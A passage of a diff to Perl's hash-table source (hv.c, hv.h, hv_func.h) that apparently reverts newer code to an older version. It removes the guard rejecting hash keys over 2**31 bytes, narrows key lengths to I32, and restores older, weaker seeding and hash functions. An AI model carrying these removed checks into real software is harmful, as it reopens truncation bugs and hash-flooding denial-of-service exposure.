ccflags="$ccflags -DLANGUAGE_C -Olimit 3800" # Prototypes sometimes cause compilation errors in 4.2. prototype=undef + case "$myuname" in + *risc*) d_volatile=undef ;; + esac + ;; *4.3*) ccflags="$ccflags -std1 -DLANGUAGE_C -Olimit 3800" ;; *) ccflags="$ccflags -std -Olimit 3800" ;; esac diff --git a/hv.c b/hv.c index d3d02d10460a..85e42d13e026 100644 --- a/hv.c +++ b/hv.c @@ -34,11 +34,7 @@ holds the key and hash value. #define PERL_HASH_INTERNAL_ACCESS #include "perl.h" -/* we split when we collide and we have a load factor over 0.667. - * NOTE if you change this formula so we split earlier than previously - * you MUST change the logic in hv_ksplit() - */ -#define DO_HSPLIT(xhv) ( ((xhv)->xhv_keys + ((xhv)->xhv_keys >> 1)) > (xhv)->xhv_max ) +#define DO_HSPLIT(xhv) ((xhv)->xhv_keys > (xhv)->xhv_max) /* HvTOTALKEYS(hv) > HvMAX(hv) */ #define HV_FILL_THRESHOLD 31 static const char S_strtab_error[] @@ -347,7 +343,6 @@ Perl_hv_common(pTHX_ HV *hv, SV *keysv, const char *key, STRLEN klen, HE **oentry; SV *sv; bool is_utf8; - bool in_collision; int masked_flags; const int return_svp = action & HV_FETCH_JUST_SV; HEK *keysv_hek = NULL; @@ -509,7 +504,7 @@ Perl_hv_common(pTHX_ HV *hv, SV *keysv, const char *key, STRLEN klen, /* This cast somewhat evil, but I'm merely using NULL/ not NULL to return the boolean exists. And I know hv is not NULL. */ - return SvTRUE_NN(svret) ? (void *)hv : NULL; + return SvTRUE(svret) ? (void *)hv : NULL; } #ifdef ENV_IS_CASELESS else if (mg_find((const SV *)hv, PERL_MAGIC_env)) { @@ -840,7 +835,6 @@ Perl_hv_common(pTHX_ HV *hv, SV *keysv, const char *key, STRLEN klen, * making it harder to see if there is a collision. We also * reset the iterator randomizer if there is one. */ - in_collision = *oentry != NULL; if ( *oentry && PL_HASH_RAND_BITS_ENABLED) { PL_hash_rand_bits++; PL_hash_rand_bits= ROTL_UV(PL_hash_rand_bits,1); @@ -883,7 +877,7 @@ Perl_hv_common(pTHX_ HV *hv, SV *keysv, const char *key, STRLEN klen, HvHASKFLAGS_on(hv); xhv->xhv_keys++; /* HvTOTALKEYS(hv)++ */ - if ( in_collision && DO_HSPLIT(xhv) ) { + if ( DO_HSPLIT(xhv) ) { const STRLEN oldsize = xhv->xhv_max + 1; const U32 items = (U32)HvPLACEHOLDERS_get(hv); @@ -967,79 +961,6 @@ Perl_hv_scalar(pTHX_ HV *hv) return sv; } - -/* -hv_pushkv(): push all the keys and/or values of a hash onto the stack. -The rough Perl equivalents: - () = %hash; - () = keys %hash; - () = values %hash; - -Resets the hash's iterator. - -flags : 1 = push keys - 2 = push values - 1|2 = push keys and values - XXX use symbolic flag constants at some point? -I might unroll the non-tied hv_iternext() in here at some point - DAPM -*/ - -void -Perl_hv_pushkv(pTHX_ HV *hv, U32 flags) -{ - HE *entry; - bool tied = SvRMAGICAL(hv) && (mg_find(MUTABLE_SV(hv), PERL_MAGIC_tied) -#ifdef DYNAMIC_ENV_FETCH /* might not know number of keys yet */ - || mg_find(MUTABLE_SV(hv), PERL_MAGIC_env) -#endif - ); - dSP; - - PERL_ARGS_ASSERT_HV_PUSHKV; - assert(flags); /* must be pushing at least one of keys and values */ - - (void)hv_iterinit(hv); - - if (tied) { - SSize_t ext = (flags == 3) ? 2 : 1; - while ((entry = hv_iternext(hv))) { - EXTEND(SP, ext); - if (flags & 1) - PUSHs(hv_iterkeysv(entry)); - if (flags & 2) - PUSHs(hv_iterval(hv, entry)); - } - } - else { - Size_t nkeys = HvUSEDKEYS(hv); - SSize_t ext; - - if (!nkeys) - return; - - /* 2*nkeys() should never be big enough to truncate or wrap */ - assert(nkeys <= (SSize_t_MAX >> 1)); - ext = nkeys * ((flags == 3) ? 2 : 1); - - EXTEND_MORTAL(nkeys); - EXTEND(SP, ext); - - while ((entry = hv_iternext(hv))) { - if (flags & 1) { - SV *keysv = newSVhek(HeKEY_hek(entry)); - SvTEMP_on(keysv); - PL_tmps_stack[++PL_tmps_ix] = keysv; - PUSHs(keysv); - } - if (flags & 2) - PUSHs(HeVAL(entry)); - } - } - - PUTBACK; -} - - /* =for apidoc hv_bucket_ratio @@ -1068,13 +989,12 @@ Perl_hv_bucket_ratio(pTHX_ HV *hv) return magic_scalarpack(hv, mg); } - if (HvUSEDKEYS((HV *)hv)) { - sv = sv_newmortal(); + sv = sv_newmortal(); + if (HvUSEDKEYS((HV *)hv)) Perl_sv_setpvf(aTHX_ sv, "%ld/%ld", (long)HvFILL(hv), (long)HvMAX(hv) + 1); - } else - sv = &PL_sv_zero; + sv_setiv(sv, 0); return sv; } @@ -1279,7 +1199,7 @@ S_hv_delete_common(pTHX_ HV *hv, SV *keysv, const char *key, STRLEN klen, sv_2mortal((SV *)gv) ); } - else if (memEQs(key, klen, "ISA") && GvAV(gv)) { + else if (klen == 3 && strEQs(key, "ISA") && GvAV(gv)) { AV *isa = GvAV(gv); MAGIC *mg = mg_find((SV*)isa, PERL_MAGIC_isa); @@ -1530,42 +1450,29 @@ void Perl_hv_ksplit(pTHX_ HV *hv, IV newmax) { XPVHV* xhv = (XPVHV*)SvANY(hv); - const I32 oldsize = (I32) xhv->xhv_max+1; /* HvMAX(hv)+1 */ + const I32 oldsize = (I32) xhv->xhv_max+1; /* HvMAX(hv)+1 (sick) */ I32 newsize; - I32 wantsize; - I32 trysize; char *a; PERL_ARGS_ASSERT_HV_KSPLIT; - wantsize = (I32) newmax; /* possible truncation here */ - if (wantsize != newmax) + newsize = (I32) newmax; /* possible truncation here */ + if (newsize != newmax || newmax <= oldsize) return; - - wantsize= wantsize + (wantsize >> 1); /* wantsize *= 1.5 */ - if (wantsize < newmax) /* overflow detection */ - return; - - newsize = oldsize; - while (wantsize > newsize) { - trysize = newsize << 1; - if (trysize > newsize) { - newsize = trysize; - } else { - /* we overflowed */ - return; - } + while ((newsize & (1 + ~newsize)) != newsize) { + newsize &= ~(newsize & (1 + ~newsize)); /* get proper power of 2 */ } - - if (newsize <= oldsize) - return; /* overflow detection */ + if (newsize < newmax) + newsize *= 2; + if (newsize < newmax) + return; /* overflow detection */ a = (char *) HvARRAY(hv); if (a) { hsplit(hv, oldsize, newsize); } else { Newxz(a, PERL_HV_ARRAY_ALLOC_BYTES(newsize), char); - xhv->xhv_max = newsize - 1; + xhv->xhv_max = --newsize; HvARRAY(hv) = (HE **) a; } } @@ -1828,7 +1735,7 @@ Perl_hv_clear(pTHX_ HV *hv) } } else { - hv_free_entries(hv); + hfreeentries(hv); HvPLACEHOLDERS_set(hv, 0); if (SvRMAGICAL(hv)) @@ -1925,13 +1832,13 @@ S_clear_placeholders(pTHX_ HV *hv, U32 items) } STATIC void -S_hv_free_entries(pTHX_ HV *hv) +S_hfreeentries(pTHX_ HV *hv) { STRLEN index = 0; XPVHV * const xhv = (XPVHV*)SvANY(hv); SV *sv; - PERL_ARGS_ASSERT_HV_FREE_ENTRIES; + PERL_ARGS_ASSERT_HFREEENTRIES; while ((sv = Perl_hfree_next_entry(aTHX_ hv, &index))||xhv->xhv_keys) { SvREFCNT_dec(sv); @@ -1940,7 +1847,7 @@ S_hv_free_entries(pTHX_ HV *hv) /* hfree_next_entry() - * For use only by S_hv_free_entries() and sv_clear(). + * For use only by S_hfreeentries() and sv_clear(). * Delete the next available HE from hv and return the associated SV. * Returns null on empty hash. Nevertheless null is not a reliable * indicator that the hash is empty, as the deleted entry may have a @@ -2029,7 +1936,7 @@ Perl_hv_undef_flags(pTHX_ HV *hv, U32 flags) { XPVHV* xhv; bool save; - SSize_t orig_ix = PL_tmps_ix; /* silence compiler warning about unitialized vars */ + SSize_t orig_ix; if (!hv) return; @@ -2037,7 +1944,7 @@ Perl_hv_undef_flags(pTHX_ HV *hv, U32 flags) DEBUG_A(Perl_hv_assert(aTHX_ hv)); xhv = (XPVHV*)SvANY(hv); - /* The name must be deleted before the call to hv_free_entries so that + /* The name must be deleted before the call to hfreeeeentries so that CVs are anonymised properly. But the effective name must be pre- served until after that call (and only deleted afterwards if the call originated from sv_clear). For stashes with one name that is @@ -2045,7 +1952,7 @@ Perl_hv_undef_flags(pTHX_ HV *hv, U32 flags) allocate an array for storing the effective name. We can skip that during global destruction, as it does not matter where the CVs point if they will be freed anyway. */ - /* note that the code following prior to hv_free_entries is duplicated + /* note that the code following prior to hfreeentries is duplicated * in sv_clear(), and changes here should be done there too */ if (PL_phase != PERL_PHASE_DESTRUCT && HvNAME(hv)) { if (PL_stashcache) { @@ -2061,7 +1968,7 @@ Perl_hv_undef_flags(pTHX_ HV *hv, U32 flags) PL_tmps_stack[++PL_tmps_ix] = SvREFCNT_inc_simple_NN(hv); orig_ix = PL_tmps_ix; } - hv_free_entries(hv); + hfreeentries(hv); if (SvOOK(hv)) { struct mro_meta *meta; const char *name; @@ -3040,7 +2947,7 @@ S_unshare_hek_or_pvn(pTHX_ const HEK *hek, const char *str, I32 len, U32 hash) * len and hash must both be valid for str. */ HEK * -Perl_share_hek(pTHX_ const char *str, SSize_t len, U32 hash) +Perl_share_hek(pTHX_ const char *str, I32 len, U32 hash) { bool is_utf8 = FALSE; int flags = 0; @@ -3072,7 +2979,7 @@ Perl_share_hek(pTHX_ const char *str, SSize_t len, U32 hash) } STATIC HEK * -S_share_hek_flags(pTHX_ const char *str, STRLEN len, U32 hash, int flags) +S_share_hek_flags(pTHX_ const char *str, I32 len, U32 hash, int flags) { HE *entry; const int flags_masked = flags & HVhek_MASK; @@ -3081,10 +2988,6 @@ S_share_hek_flags(pTHX_ const char *str, STRLEN len, U32 hash, int flags) PERL_ARGS_ASSERT_SHARE_HEK_FLAGS; - if (UNLIKELY(len > (STRLEN) I32_MAX)) { - Perl_croak_nocontext("Sorry, hash keys must be smaller than 2**31 bytes"); - } - /* what follows is the moral equivalent of: if (!(Svp = hv_fetch(PL_strtab, str, len, FALSE))) @@ -3099,7 +3002,7 @@ S_share_hek_flags(pTHX_ const char *str, STRLEN len, U32 hash, int flags) for (;entry; entry = HeNEXT(entry)) { if (HeHASH(entry) != hash) /* strings can't be equal */ continue; - if (HeKLEN(entry) != (SSize_t) len) + if (HeKLEN(entry) != len) continue; if (HeKEY(entry) != str && memNE(HeKEY(entry),str,len)) /* is this it? */ continue; diff --git a/hv.h b/hv.h index dcc6eb1e2fb0..8411b5d31fed 100644 --- a/hv.h +++ b/hv.h @@ -565,9 +565,9 @@ struct refcounted_he { }; /* -=for apidoc m|SV *|refcounted_he_fetch_pvs|const struct refcounted_he *chain|"literal string" key|U32 flags +=for apidoc m|SV *|refcounted_he_fetch_pvs|const struct refcounted_he *chain|const char *key|U32 flags -Like L, but takes a literal string +Like L, but takes a C-terminated literal string instead of a string/length pair, and no precomputed hash. =cut @@ -577,9 +577,9 @@ instead of a string/length pair, and no precomputed hash. Perl_refcounted_he_fetch_pvn(aTHX_ chain, STR_WITH_LEN(key), 0, flags) /* -=for apidoc m|struct refcounted_he *|refcounted_he_new_pvs|struct refcounted_he *parent|"literal string" key|SV *value|U32 flags +=for apidoc m|struct refcounted_he *|refcounted_he_new_pvs|struct refcounted_he *parent|const char *key|SV *value|U32 flags -Like L, but takes a literal string +Like L, but takes a C-terminated literal string instead of a string/length pair, and no precomputed hash. =cut diff --git a/hv_func.h b/hv_func.h index 111de93f1ee5..d10b5e1d5ef0 100644 --- a/hv_func.h +++ b/hv_func.h @@ -4,155 +4,144 @@ * to avoid "algorithmic complexity attacks". * * If USE_HASH_SEED is defined, hash randomisation is done by default + * If USE_HASH_SEED_EXPLICIT is defined, hash randomisation is done + * only if the environment variable PERL_HASH_SEED is set. * (see also perl.c:perl_parse() and S_init_tls_and_interp() and util.c:get_hash_seed()) */ + #ifndef PERL_SEEN_HV_FUNC_H /* compile once */ #define PERL_SEEN_HV_FUNC_H -#include "hv_macro.h" #if !( 0 \ || defined(PERL_HASH_FUNC_SIPHASH) \ || defined(PERL_HASH_FUNC_SIPHASH13) \ - || defined(PERL_HASH_FUNC_STADTX) \ - || defined(PERL_HASH_FUNC_ZAPHOD32) \ + || defined(PERL_HASH_FUNC_HYBRID_OAATHU_SIPHASH13) \ + || defined(PERL_HASH_FUNC_ONE_AT_A_TIME_HARD) \ ) -# ifdef CAN64BITHASH -# define PERL_HASH_FUNC_STADTX -# else -# define PERL_HASH_FUNC_ZAPHOD32 -# endif -#endif - -#ifndef PERL_HASH_USE_SBOX32_ALSO -#define PERL_HASH_USE_SBOX32_ALSO 1 +#if IVSIZE == 8 +#define PERL_HASH_FUNC_HYBRID_OAATHU_SIPHASH13 +#else +#define PERL_HASH_FUNC_ONE_AT_A_TIME_HARD #endif - -#ifndef SBOX32_MAX_LEN -#define SBOX32_MAX_LEN 24 #endif -/* this must be after the SBOX32_MAX_LEN define */ -#include "sbox32_hash.h" - #if defined(PERL_HASH_FUNC_SIPHASH) -# define __PERL_HASH_FUNC "SIPHASH_2_4" -# define __PERL_HASH_SEED_BYTES 16 -# define __PERL_HASH_STATE_BYTES 32 -# define __PERL_HASH_SEED_STATE(seed,state) S_perl_siphash_seed_state(seed,state) -# define __PERL_HASH_WITH_STATE(state,str,len) S_perl_hash_siphash_2_4_with_state((state),(U8*)(str),(len)) +# define PERL_HASH_FUNC "SIPHASH_2_4" +# define PERL_HASH_SEED_BYTES 16 +# define PERL_HASH_WITH_SEED(seed,hash,str,len) (hash)= S_perl_hash_siphash_2_4((seed),(U8*)(str),(len)) #elif defined(PERL_HASH_FUNC_SIPHASH13) -# define __PERL_HASH_FUNC "SIPHASH_1_3" -# define __PERL_HASH_SEED_BYTES 16 -# define __PERL_HASH_STATE_BYTES 32 -# define __PERL_HASH_SEED_STATE(seed,state) S_perl_siphash_seed_state(seed,state) -# define __PERL_HASH_WITH_STATE(state,str,len) S_perl_hash_siphash_1_3_with_state((state),(U8*)(str),(len)) -#elif defined(PERL_HASH_FUNC_STADTX) -# define __PERL_HASH_FUNC "STATDX" -# define __PERL_HASH_SEED_BYTES 16 -# define __PERL_HASH_STATE_BYTES 32 -# define __PERL_HASH_SEED_STATE(seed,state) stadtx_seed_state(seed,state) -# define __PERL_HASH_WITH_STATE(state,str,len) (U32)stadtx_hash_with_state((state),(U8*)(str),(len)) -# include "stadtx_hash.h" -#elif defined(PERL_HASH_FUNC_ZAPHOD32) -# define __PERL_HASH_FUNC "ZAPHOD32" -# define __PERL_HASH_SEED_BYTES 12 -# define __PERL_HASH_STATE_BYTES 12 -# define __PERL_HASH_SEED_STATE(seed,state) zaphod32_seed_state(seed,state) -# define __PERL_HASH_WITH_STATE(state,str,len) (U32)zaphod32_hash_with_state((state),(U8*)(str),(len)) -# include "zaphod32_hash.h" +# define PERL_HASH_FUNC "SIPHASH_1_3" +# define PERL_HASH_SEED_BYTES 16 +# define PERL_HASH_WITH_SEED(seed,hash,str,len) (hash)= S_perl_hash_siphash_1_3((seed),(U8*)(str),(len)) +#elif defined(PERL_HASH_FUNC_HYBRID_OAATHU_SIPHASH13) +# define PERL_HASH_FUNC "HYBRID_OAATHU_SIPHASH_1_3" +# define PERL_HASH_SEED_BYTES 24 +# define PERL_HASH_WITH_SEED(seed,hash,str,len) (hash)= S_perl_hash_oaathu_siphash_1_3((seed),(U8*)(str),(len)) +#elif defined(PERL_HASH_FUNC_ONE_AT_A_TIME_HARD) +# define PERL_HASH_FUNC "ONE_AT_A_TIME_HARD" +# define PERL_HASH_SEED_BYTES 8 +# define PERL_HASH_WITH_SEED(seed,hash,str,len) (hash)= S_perl_hash_one_at_a_time_hard((seed),(U8*)(str),(len)) #endif -#ifndef __PERL_HASH_WITH_STATE +#ifndef PERL_HASH_WITH_SEED #error "No hash function defined!" #endif -#ifndef __PERL_HASH_SEED_BYTES -#error "__PERL_HASH_SEED_BYTES not defined" +#ifndef PERL_HASH_SEED_BYTES +#error "PERL_HASH_SEED_BYTES not defined" #endif -#ifndef __PERL_HASH_FUNC -#error "__PERL_HASH_FUNC not defined" +#ifndef PERL_HASH_FUNC +#error "PERL_HASH_FUNC not defined" #endif +#ifndef PERL_HASH_SEED +# if defined(USE_HASH_SEED) || defined(USE_HASH_SEED_EXPLICIT) +# define PERL_HASH_SEED PL_hash_seed +# elif PERL_HASH_SEED_BYTES == 4 +# define PERL_HASH_SEED ((const U8 *)"PeRl") +# elif PERL_HASH_SEED_BYTES == 8 +# define PERL_HASH_SEED ((const U8 *)"PeRlHaSh") +# elif PERL_HASH_SEED_BYTES == 16 +# define PERL_HASH_SEED ((const U8 *)"PeRlHaShhAcKpErl") +# else +# error "No PERL_HASH_SEED definition for " PERL_HASH_FUNC +# endif +#endif -#if PERL_HASH_USE_SBOX32_ALSO != 1 -# define _PERL_HASH_FUNC __PERL_HASH_FUNC -# define _PERL_HASH_SEED_BYTES __PERL_HASH_SEED_BYTES -# define _PERL_HASH_STATE_BYTES __PERL_HASH_STATE_BYTES -# define _PERL_HASH_SEED_STATE(seed,state) __PERL_HASH_SEED_STATE(seed,state) -# define _PERL_HASH_WITH_STATE(state,str,len) __PERL_HASH_WITH_STATE(state,str,len) -#else - -#define _PERL_HASH_FUNC "SBOX32_WITH_" __PERL_HASH_FUNC - -#define _PERL_HASH_SEED_BYTES ( __PERL_HASH_SEED_BYTES + (int)( 3 * sizeof(U32) ) ) - -#define _PERL_HASH_STATE_BYTES \ - ( __PERL_HASH_STATE_BYTES + ( ( 1 + ( 256 * SBOX32_MAX_LEN ) ) * sizeof(U32) ) ) +#define PERL_HASH(hash,str,len) PERL_HASH_WITH_SEED(PERL_HASH_SEED,hash,str,len) -#define _PERL_HASH_SEED_STATE(seed,state) STMT_START { \ - __PERL_HASH_SEED_STATE(seed,state); \ - sbox32_seed_state96(seed + __PERL_HASH_SEED_BYTES, state + __PERL_HASH_STATE_BYTES); \ -} STMT_END +/* legacy - only mod_perl should be doing this. */ +#ifdef PERL_HASH_INTERNAL_ACCESS +#define PERL_HASH_INTERNAL(hash,str,len) PERL_HASH(hash,str,len) +#endif -#define _PERL_HASH_WITH_STATE(state,str,len) \ - (LIKELY(len <= SBOX32_MAX_LEN) \ - ? sbox32_hash_with_state((state + __PERL_HASH_STATE_BYTES),(U8*)(str),(len)) \ - : __PERL_HASH_WITH_STATE((state),(str),(len))) +/*----------------------------------------------------------------------------- + * Endianess, misalignment capabilities and util macros + * + * The following 3 macros are defined in this section. The other macros defined + * are only needed to help derive these 3. + * + * U8TO32_LE(x) Read a little endian unsigned 32-bit int + * UNALIGNED_SAFE Defined if unaligned access is safe + * ROTL32(x,r) Rotate x left by r bits + */ +#if (defined(__GNUC__) && defined(__i386__)) || defined(__WATCOMC__) \ + || defined(_MSC_VER) || defined (__TURBOC__) +#define U8TO16_LE(d) (*((const U16 *) (d))) #endif -PERL_STATIC_INLINE -U32 S_perl_hash_with_seed(const U8 * const seed, const U8 * const str, const STRLEN len) -{ - U8 state[_PERL_HASH_STATE_BYTES]; - _PERL_HASH_SEED_STATE(seed,state); - return _PERL_HASH_WITH_STATE(state,str,len); -} +#if !defined (U8TO16_LE) +#define U8TO16_LE(d) ((((const U8 *)(d))[1] << 8)\ + +((const U8 *)(d))[0]) +#endif -#define PERL_HASH_WITH_SEED(seed,hash,str,len) \ - (hash) = S_perl_hash_with_seed((const U8 *) seed, (const U8 *) str,len) -#define PERL_HASH_WITH_STATE(state,hash,str,len) \ - (hash) = _PERL_HASH_WITH_STATE((state),(U8*)(str),(len)) -#define PERL_HASH_SEED_STATE(seed,state) _PERL_HASH_SEED_STATE(seed,state) -#define PERL_HASH_SEED_BYTES _PERL_HASH_SEED_BYTES -#define PERL_HASH_STATE_BYTES _PERL_HASH_STATE_BYTES -#define PERL_HASH_FUNC _PERL_HASH_FUNC - -#ifdef PERL_USE_SINGLE_CHAR_HASH_CACHE -#define PERL_HASH(state,str,len) \ - (hash) = ((len) < 2 ? ( (len) == 0 ? PL_hash_chars[256] : PL_hash_chars[(U8)(str)[0]] ) \ - : _PERL_HASH_WITH_STATE(PL_hash_state,(U8*)(str),(len))) +#if (BYTEORDER == 0x1234 || BYTEORDER == 0x12345678) && U32SIZE == 4 + /* CPU endian matches murmurhash algorithm, so read 32-bit word directly */ + #define U8TO32_LE(ptr) (*((const U32*)(ptr))) +#elif BYTEORDER == 0x4321 || BYTEORDER == 0x87654321 + /* TODO: Add additional cases below where a compiler provided bswap32 is available */ + #if defined(__GNUC__) && (__GNUC__>4 || (__GNUC__==4 && __GNUC_MINOR__>=3)) + #define U8TO32_LE(ptr) (__builtin_bswap32(*((U32*)(ptr)))) + #else + /* Without a known fast bswap32 we're just as well off doing this */ + #define U8TO32_LE(ptr) (ptr[0]|ptr[1]<<8|ptr[2]<<16|ptr[3]<<24) + #define UNALIGNED_SAFE + #endif #else -#define PERL_HASH(hash,str,len) \ - PERL_HASH_WITH_STATE(PL_hash_state,hash,(U8*)(str),(len)) + /* Unknown endianess so last resort is to read individual bytes */ + #define U8TO32_LE(ptr) (ptr[0]|ptr[1]<<8|ptr[2]<<16|ptr[3]<<24) + /* Since we're not doing word-reads we can skip the messing about with realignment */ + #define UNALIGNED_SAFE #endif -/* Setup the hash seed, either we do things dynamically at start up, - * including reading from the environment, or we randomly setup the - * seed. The seed will be passed into the PERL_HASH_SEED_STATE() function - * defined for the configuration defined for this perl, which will then - * initialze whatever state it might need later in hashing. */ +#ifdef HAS_QUAD +#ifndef U64TYPE +/* This probably isn't going to work, but failing with a compiler error due to + lack of uint64_t is no worse than failing right now with an #error. */ +#define U64 uint64_t +#endif +#endif -#ifndef PERL_HASH_SEED -# if defined(USE_HASH_SEED) -# define PERL_HASH_SEED PL_hash_seed -# else - /* this is a 512 bit seed, which should be more than enough for the - * configuration of any of our hash functions (with or without sbox). - * If you actually use a hard coded seed, you are strongly encouraged - * to replace this with something else of the correct length - * for the hash function you are using (24-32 bytes depending on build - * options). Repeat, you are *STRONGLY* encouraged not to use the value - * provided here. - */ -# define PERL_HASH_SEED \ - ((const U8 *)"A long string of pseudorandomly " \ - "chosen bytes for hashing in Perl") -# endif +/* Find best way to ROTL32/ROTL64 */ +#if defined(_MSC_VER) + #include /* Microsoft put _rotl declaration in here */ + #define ROTL32(x,r) _rotl(x,r) + #ifdef HAS_QUAD + #define ROTL64(x,r) _rotl64(x,r) + #endif +#else + /* gcc recognises this code and generates a rotate instruction for CPUs with one */ + #define ROTL32(x,r) (((U32)x << r) | ((U32)x >> (32 - r))) + #ifdef HAS_QUAD + #define ROTL64(x,r) (((U64)x << r) | ((U64)x >> (64 - r))) + #endif #endif -/* legacy - only mod_perl should be doing this. */ -#ifdef PERL_HASH_INTERNAL_ACCESS -#define PERL_HASH_INTERNAL(hash,str,len) PERL_HASH(hash,str,len) + +#ifdef UV_IS_QUAD +#define ROTL_UV(x,r) ROTL64(x,r) +#else +#define ROTL_UV(x,r) ROTL32(x,r) #endif /* This is SipHash by Jean-Philippe Aumasson and Daniel J. Bernstein. @@ -169,7 +158,17 @@ U32 S_perl_hash_with_seed(const U8 * const seed, const U8 * const str, const STR * It is 64 bit only. */ -#ifdef CAN64BITHASH +#ifdef HAS_QUAD + +#define U8TO64_LE(p) \ + (((U64)((p)[0]) ) | \ + ((U64)((p)[1]) << 8) | \ + ((U64)((p)[2]) << 16) | \ + ((U64)((p)[3]) << 24) | \ + ((U64)((p)[4]) << 32) | \ + ((U64)((p)[5]) << 40) | \ + ((U64)((p)[6]) << 48) | \ + ((U64)((p)[7]) << 56)) #define SIPROUND \ STMT_START { \ @@ -179,37 +178,30 @@ U32 S_perl_hash_with_seed(const U8 * const seed, const U8 * const str, const STR v2 += v1; v1=ROTL64(v1,17); v1 ^= v2; v2=ROTL64(v2,32); \ } STMT_END -#define SIPHASH_SEED_STATE(key,v0,v1,v2,v3) \ -do { \ - v0 = v2 = U8TO64_LE(key + 0); \ - v1 = v3 = U8TO64_LE(key + 8); \ - /* "somepseudorandomlygeneratedbytes" */ \ - v0 ^= UINT64_C(0x736f6d6570736575); \ - v1 ^= UINT64_C(0x646f72616e646f6d); \ - v2 ^= UINT64_C(0x6c7967656e657261); \ - v3 ^= UINT64_C(0x7465646279746573); \ -} while (0) - -PERL_STATIC_INLINE -void S_perl_siphash_seed_state(const unsigned char * const seed_buf, unsigned char * state_buf) { - U64 *v= (U64*) state_buf; - SIPHASH_SEED_STATE(seed_buf, v[0],v[1],v[2],v[3]); -} +/* SipHash-2-4 */ + #define PERL_SIPHASH_FNC(FNC,SIP_ROUNDS,SIP_FINAL_ROUNDS) \ PERL_STATIC_INLINE U32 \ -FNC ## _with_state \ - (const unsigned char * const state, const unsigned char *in, const STRLEN inlen) \ -{ \ +FNC(const unsigned char * const seed, const unsigned char *in, const STRLEN inlen) { \ + /* "somepseudorandomlygeneratedbytes" */ \ + U64 v0 = UINT64_C(0x736f6d6570736575); \ + U64 v1 = UINT64_C(0x646f72616e646f6d); \ + U64 v2 = UINT64_C(0x6c7967656e657261); \ + U64 v3 = UINT64_C(0x7465646279746573); \ + \ + U64 b; \ + U64 k0 = ((const U64*)seed)[0]; \ + U64 k1 = ((const U64*)seed)[1]; \ + U64 m; \ const int left = inlen & 7; \ const U8 *end = in + inlen - left; \ \ - U64 b = ( ( U64 )(inlen) ) << 56; \ - U64 m; \ - U64 v0 = U8TO64_LE(state); \ - U64 v1 = U8TO64_LE(state+8); \ - U64 v2 = U8TO64_LE(state+16); \ - U64 v3 = U8TO64_LE(state+24); \ + b = ( ( U64 )(inlen) ) << 56; \ + v3 ^= k1; \ + v2 ^= k0; \ + v1 ^= k1; \ + v0 ^= k0; \ \ for ( ; in != end; in += 8 ) \ { \ @@ -245,17 +237,8 @@ FNC ## _with_state \ \ b = v0 ^ v1 ^ v2 ^ v3; \ return (U32)(b & U32_MAX); \ -} \ - \ -PERL_STATIC_INLINE U32 \ -FNC (const unsigned char * const seed, const unsigned char *in, const STRLEN inlen) \ -{ \ - U64 state[4]; \ - SIPHASH_SEED_STATE(seed,state[0],state[1],state[2],state[3]); \ - return FNC ## _with_state((U8*)state,in,inlen); \ } - PERL_SIPHASH_FNC( S_perl_hash_siphash_1_3 ,SIPROUND; @@ -267,7 +250,152 @@ PERL_SIPHASH_FNC( ,SIPROUND;SIPROUND; ,SIPROUND;SIPROUND;SIPROUND;SIPROUND; ) -#endif /* defined(CAN64BITHASH) */ + +#endif /* defined(HAS_QUAD) */ + +/* - ONE_AT_A_TIME_HARD is the 5.17+ recommend ONE_AT_A_TIME variant */ + +/* This is derived from the "One-at-a-Time" algorithm by Bob Jenkins + * from requirements by Colin Plumb. + * (http://burtleburtle.net/bob/hash/doobs.html) + * Modified by Yves Orton to increase security for Perl 5.17 and later. + */ +PERL_STATIC_INLINE U32 +S_perl_hash_one_at_a_time_hard(const unsigned char * const seed, const unsigned char *str, const STRLEN len) { + const unsigned char * const end = (const unsigned char *)str + len; + U32 hash = *((const U32*)seed) + (U32)len; + + while (str < end) { + hash += (hash << 10); + hash ^= (hash >> 6); + hash += *str++; + } + + hash += (hash << 10); + hash ^= (hash >> 6); + hash += seed[4]; + + hash += (hash << 10); + hash ^= (hash >> 6); + hash += seed[5]; + + hash += (hash << 10); + hash ^= (hash >> 6); + hash += seed[6]; + + hash += (hash << 10); + hash ^= (hash >> 6); + hash += seed[7]; + + hash += (hash << 10); + hash ^= (hash >> 6); + + hash += (hash << 3); + hash ^= (hash >> 11); + return (hash + (hash << 15)); +} + +#ifdef HAS_QUAD + +/* Hybrid hash function + * + * For short strings, 16 bytes or shorter, we use an optimised variant + * of One At A Time Hard, and for longer strings, we use siphash_1_3. + * + * The optimisation of One At A Time Hard means we read the key in + * reverse from normal, but by doing so we avoid the loop overhead. + */ +PERL_STATIC_INLINE U32 +S_perl_hash_oaathu_siphash_1_3(const unsigned char * const seed, const unsigned char *str, const STRLEN len) { + U32 hash = *((const U32*)seed) + (U32)len; + switch (len) { + case 16: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[15]; + case 15: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[14]; + case 14: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[13]; + case 13: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[12]; + case 12: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[11]; + case 11: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[10]; + case 10: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[9]; + case 9: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[8]; + case 8: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[7]; + case 7: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[6]; + case 6: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[5]; + case 5: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[4]; + case 4: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[3]; + case 3: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[2]; + case 2: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[1]; + case 1: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += str[0]; + case 0: + hash += (hash << 10); + hash ^= (hash >> 6); + hash += seed[4]; + hash += (hash << 10); + hash ^= (hash >> 6); + hash += seed[5]; + hash += (hash << 10); + hash ^= (hash >> 6); + hash += seed[6]; + hash += (hash << 10); + hash ^= (hash >> 6); + hash += seed[7]; + hash += (hash << 10); + hash ^= (hash >> 6); + + hash += (hash << 3); + hash ^= (hash >> 11); + return (hash + (hash << 15)); + } + return S_perl_hash_siphash_1_3(seed+8, str, len); +} +#endif /* defined(HAS_QUAD) */ #endif /*compile once*/ diff --git a/hv_macro.h b/hv_macro.h deleted file mode 100644 index 77a4c8489676..000000000000 